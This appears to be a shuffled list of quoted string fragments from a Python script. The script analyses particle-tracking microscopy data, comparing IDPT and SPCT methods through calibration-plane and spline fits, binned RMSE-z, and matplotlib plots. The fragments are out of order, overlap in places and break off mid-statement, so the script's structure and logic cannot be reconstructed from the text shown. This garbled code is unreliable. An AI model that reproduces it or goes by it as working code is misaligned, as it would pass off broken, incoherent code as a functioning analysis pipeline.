"marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0],",
"for all calibration image sets (by using the same beginning and ending tick",
"# 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] <",
"(\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() #",
"dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0 area_pixels = 512",
"labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3)",
"images used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx')",
"1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8,",
"test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in dft dft",
"'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method,",
"ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01])",
"+ '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe:",
"STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z = 20",
"calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats =",
"dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane =",
"color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true}",
"microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z,",
"dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std)",
"plt.close() # --- # --- PART B. READ COORDS USED FOR IDPT TEST",
"rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True)",
"(ON, EDGE, OFF) ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss,",
"bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3",
"xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout()",
"SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c,",
"'-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin,",
"get z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() #",
"** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # --- # --- STEP",
"FILES method = 'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST COORDS",
"uses this to set their z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int'",
"column_to_bin = 'x' bins_x = [145, 175, 205] round_x_to_decimal = 0 dfbx =",
"dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE AND PLOT RAW",
"> -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true']",
"[1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1],",
"dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim = 35 dftc",
"# 2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords')",
"plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- #",
"= join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT",
"rmse_compare: # 1. read binned rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe')",
"df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) #",
"# test bin, analyze, and plot functions # imports import os from os.path",
"ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true}",
"lbls = ['On', 'Border', 'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles: #",
"= dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # --- STEP 1. PLOT CALIBRATION",
"USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane",
"37.25 xyticks = [-30, -15, 0, 15, 30] ms = 3 # read",
"ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png')",
"mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error',",
"stats. if merge_spct_stats: # read SPCT calibration coords and merge ['x', 'y'] into",
"= '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches,",
"dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) &",
"binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error',",
"ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky))",
"'calib2') # step 1. merge [['x', 'y']] into spct pid defocus stats. if",
"dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean +",
"'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results')",
"plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE",
"dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0])",
"3)) ) if show_plots: plt.show() plt.close() if rmse_compare: # 1. read binned rmse-z",
"gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o',",
"= correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane)",
"adjustment knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION",
"+ '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j = 1 print(\"Analysis completed",
"xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] ms = 3",
"df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots or show_plots:",
"4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots = False show_plots =",
"column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) #",
"\\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' +",
"dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean",
"xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if",
"zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step 3. fit plane",
"ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0],",
"binned calibration curve with std-z errorbars (microns) + fit line fig, ax =",
"SPCT - COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct = False save_plots =",
"3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT",
"for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm",
"fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--',",
"(i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane =",
"show_plots: plt.show() plt.close() # --- STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF),",
"= bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results +",
"'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method =",
"ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots:",
"(dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid,",
"50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show()",
"Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1])))",
"= False kx, ky = 2, 2 # step 1. read calibration coords",
"fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z}",
"= plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs",
"dfcpid]) else: # read SPCT pid defocus stats that have already been merged",
"'{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned",
"fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf],",
"rmse_on_off_bpe = False rmse_compare = False # format plots xylim = 37.25 xyticks",
"'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm = 0.5 # 1.1 mean",
"ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin,",
"fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim,",
"# ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES PER",
"plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired)",
"35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true']",
"= True xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] ms",
"(dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] #",
"\"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue:",
"== bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] #",
"drop unnecessary columns in dft dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y',",
"alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim,",
"path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity",
"sets (by using the same beginning and ending tick mark on the fine",
"pretty plotting zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] <",
"dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE",
"= [-30, -15, 0, 15, 30] ms = 3 # FIGURE 1. PLOT",
"correct z by mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z']",
"1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP",
"z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) /",
"+ standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration",
"1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0,",
"= False if plot_average_particle_similarity: # setup save_plots = True xylim = 37.25 xyticks",
"* microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # --- #",
"the fine adjustment knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP -",
"show_plots: ms = 4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig,",
"(dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] # step 3. fit plane dictc_fit_plane",
"bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected test_coords",
"{}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords dft",
"scigreen = '#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig,",
"plt.close() if rmse_compare: # 1. read binned rmse-z dataframes from Excel path_rmse_compare =",
"'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1 read SPCT off-bpe test",
"errorbars (microns) + fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o',",
"if save_plots or show_plots: ms = 4 # ----------------------- BASIC RMSE-Z PLOTS #",
"2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords",
"\\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs",
"37.25 xyticks = [-30, -15, 0, 15, 30] lbls = ['On', 'Border', 'Off']",
"dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3.",
"zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34)",
"coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean +",
"and plot functions # imports import os from os.path import join from os",
"not necessarily surprising because the calibration images were acquired with the intention of",
"test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z",
"= False rmse_on_off_bpe = False rmse_compare = False # format plots xylim =",
"use_idpt_zf: \"\"\" NOTE: This correction scheme fits a 2D spline to the in-focus",
"> 120] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c",
"= dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim)",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks)",
"SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats",
"already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2.",
"right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3))",
"{}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST",
"path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images",
"that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) #",
"plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig =",
"deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid",
"< zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm =",
"$' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks)",
"analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff",
"plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS",
"axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1],",
"--- PART B. READ COORDS USED FOR IDPT TEST (i.e. 'calib2') # step",
"# ----- 4.1 CORRECT TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf =",
"FOR EACH DATAFRAME (ON, EDGE, OFF) ss = 1 fig, ax = plt.subplots()",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- #",
"PARTICLES PER Z compare_idpt_spct = False save_plots = False show_plots = False if",
"---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt,",
"200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() #",
"column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm = 0.5 #",
"p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j =",
"i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # --- # --- STEP 0. drop",
"= pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid",
"dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] >",
"= 3 # FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax",
"'-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$')",
"popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close()",
"plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o',",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks,",
"dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks)",
"identical for all calibration image sets (by using the same beginning and ending",
"OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft in zip(lbls, [df_on, df_edge, df_off]):",
"& (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)]",
"= io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in dft dft = dft[['frame',",
"'-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z",
"NOTE: This correction scheme fits a 2D spline to the in-focus particle positions",
"gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2,",
"COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct = False save_plots = False show_plots",
"s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z",
"because the calibration images were acquired with the intention of making the z-coords",
"TEST (i.e. 'calib2') # step 1. merge [['x', 'y']] into spct pid defocus",
"= (512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft",
"plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index',",
"- 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o',",
"NUMBER OF PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index()",
"m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() #",
"ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2),",
"READ FILES method = 'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST",
"# 1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2.",
"rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2",
